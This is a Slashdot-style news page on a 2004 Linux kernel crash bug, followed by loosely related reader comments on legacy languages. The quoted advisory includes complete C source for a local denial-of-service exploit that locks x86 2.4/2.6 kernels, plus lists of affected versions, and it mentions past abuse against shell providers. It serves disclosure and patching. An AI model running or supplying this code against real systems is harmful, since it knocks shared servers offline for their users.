Slashdot Mirror
New Linux Kernel Crash-Exploit discovered
Ant writes " According to linuxreviews article's on 6/11/2004, there is a nasty bug that lets a simple C program crash the kernel (2.4.18-2.6.x reported so far), effectively locking the whole system. Affects both 2.4.2x and 2.6.x kernels on the x86 architecture. This exploit can be compiled and run without a root access and with a shell access. There are detailed information and source code mentioned. " You need to have shell access to run this program; it's also worth noting that not *all* flavors are vulnerable. Please read article for the full details.
It shouldn't be long before a patch is issued to resolve this problem.
Thank goodness for caffene loving geeks everywhere!
(Looks crappy thanks to the lameness filter. Indeed this is a lame filter)
New Kernel Crash-Exploit discovered
Published 2004-06-11 by xiando, v2.1.4, last updated 2004-06-13.
A bug lets a simple C program crash the kernel, effectively locking the whole system. Affects both 2.4.2x and 2.6.x kernels on the x86 architecture.
The Evil Code
The Crashing Kernels
The safe kernels
The threat
How to protect yourself Patch for 2.4.2x (vanilla) Kernels 2.4.26 2.4.25 2.4.21 Kernel 2.4.26-rc3-gentoo 2.6.xx kernels
Bug reports
The Evil Code
Running this simple C program crashes the Linux kernel.
#include <sys/time.h>
#include <signal.h>
#include <unistd.h>
static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}
int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);
return 0;
}
This bug is confirmed to be present when the code is compiled with GCC version 3.0, 3.1, 3.2, 3.3 and 3.3.2 and used on Linux kernel versions 2.4.2x and 2.6.x x86 systems.
The Crashing Kernels
Minor numbers are versions verified, this is just the top the iceberg:
Linux 2.6.x 2.6.7-rc2 2.6.6 (vanilla) 2.6.6-rc1 SMP (varified by blaise) 2.6.6 SMP (verified by riven) 2.6.5-gentoo (verified by RatiX) 2.6.5-mm6 - (verified by Mariux) 2.6.5 (fedora core 2 vanilla) Linux 2.4.2x 2.4.26 vanilla 2.4.26, grsecurity 2.0 config 2.4.26-rc1 vanilla 2.4.26-gentoo-r1 2.4.22 2.4.22-1.2188 Fedora FC1 Kernel 2.4.18-bf2.4 (debian woody vanilla)
Even grsecurity-patched kernels crash. "I would have hoped that grsec would have blocked or logged something, but nothing appeared in the logs." Vincent
The safe kernels
This code does nothing but exit with the error message Floating point exception and can not do any damage to systems running
Linux nudge 2.6.5-1um i686 (the user-mode Linux kernel) Dylan Smith
Linux Kernel 2.6.4 SMP patched with staircase scheduler Guille
Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3)
Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2)
2.2.19-kernel
It is unclear why these specific Gentoo patch sets of the 2.4.26 kernel are safe. Other versions of the Gentoo kernel are not. The user-mode Linux kernel 2.6.5-1um is safe. I assume this means other versions of user mode Linux are safe.
Linux Kernel 2.6.4 SMP with patches has been reported to be safe. Reporter uses a version patched with Con Kolivas Staircase scheduler (but it only affects to the task scheduler). Gcc version 3.3.3. "System did not crash, I left the crash program 10 minutes and after that i killed the task and I continued using my system". Guille
The glitch is verified present in Linux 2.5.6 SMP and Linux 2.6.6 SMP.
The bug is not present in 2.2.19, it seems this bug only affects 2.4 and later.
The threat
Using this exploit to crash Linux systems requires the (ab)user to have shell access. The program works on any normal user account, root access is not required. This exploit has been reported used to take down several "lame free-shell providers" servers (this is illegal in most parts of the world and strongly discouraged).
This code only works on x86 Linux machines. This code does not compile (makes no executable) on sparc64 sun4u TI UltraSparc II (BlackBird). This doesn't affect NetBSD Stable.
Check your own system yourself if you are wondering if this affects you. Better safe than sorry. Assume it will crash, sync (even unmount) your file systems before testing. If your system is a production server with 1000 on line users then do not test this code on that box.
How to protect yourself
The last days were frustrating. Compiling a large number of diffe
You think that Fortran, Cobol and Perl have been retired?
By any chance would you or anyone you know have a Citibank credit card? A fact you may not be aware of that most of Citibank's back end is written in Cobol. Federated Insurance is another organization that has plenty of Cobol based systems and when last I checked, neither company has any plan to change it.
Yes, there are newer and possibly 'better' language out there, does that make them better in all such cases? Hell no.
When speaking with a Federated representative she proudly said that their database backend system was completely Cobol based and was faster and more efficient then anything else on the market. It too me a little while to realize that she wasn't saying that it could process a days worth of transactions faster than anything else on the market with newer hardware, the issue was the cost of upgrading.
If you have millions of lines of code in an older language and a database system that has been in place for 20+ years... it's not easy to upgrade no matter the advantages. If you worked for such a large company, it'd be pretty easy to sell something new, but do you want to guarantee a seamless transition from one system to another? Any hiccups along the way will most likely make the transition be regretted.
Same goes for C. Yes, Java and other languages might be able to do a better job, the fact is that huge amounts of legacy code exists and needs to be supported.
Example: Linux. Written in C primarily if I am not mistaken. How should it be fixed? Should it be ported to C++? VB? Java? C#? Such a conversion *may* be possible, however even if it were, the potential benefits to be realized are so inconsequential compared to the cost of doing so to make such an endeavor be wasted.
Visual Basic that lacks such archaic coding styles, one will also note a serious speed increase over C.
I'd suggest you do some research on that point. Raw C/C++ tends to be a hell of a lot faster than VB. Yes, you can often create a front end in VB much faster than you can in C. I would remind you though that in C/C++ you can create far more dynamic and elegant code for your task. In fact, the advantage of C++ over VB I think can be summed up in a single word: Inheritance.
As a programmer who spends about 1/4th of his time working in embedded systems (not the niceties of XP embedded mind you, but micro controllers and other such horrors), I can tell you that VB has no place in such a world.
Hell, I'd love to see an 8051 VB compiler, just to for a laugh.
Help Brendan pay off his student loans
There are zillions of programs that can crash or otherwise deplete all the resources on a system. /tmp, tight loop that does nothing, etc.
Eg fork many processes, fill
I am sure these types of programs would also cripple Windows boxes. I suppose the answer is not allow access to a compiler for non-trusted shell users.
In Soviet Windows, OS crashes YOU!
Slay a dragon... over lunch!